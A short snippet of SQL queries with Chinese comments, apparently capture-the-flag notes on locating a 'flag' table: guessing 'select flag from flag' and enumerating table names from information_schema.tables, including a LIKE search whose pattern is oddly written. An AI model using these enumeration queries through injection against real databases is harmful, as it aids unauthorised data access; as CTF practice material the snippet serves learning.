    # 最简单的,直接猜测是flag表的flag字段
    select flag from flag
    # 尝试在information_schema.tables中进行like查询可疑表
    select group_concat(table_name) from information_schema.tables where table_name like '%flag or ctf%'
    # 自定义的表在输出时会放在后面,所以倒着查询,可以看到所有自定义的表
    select group_concat(table_name) from information_schema.tables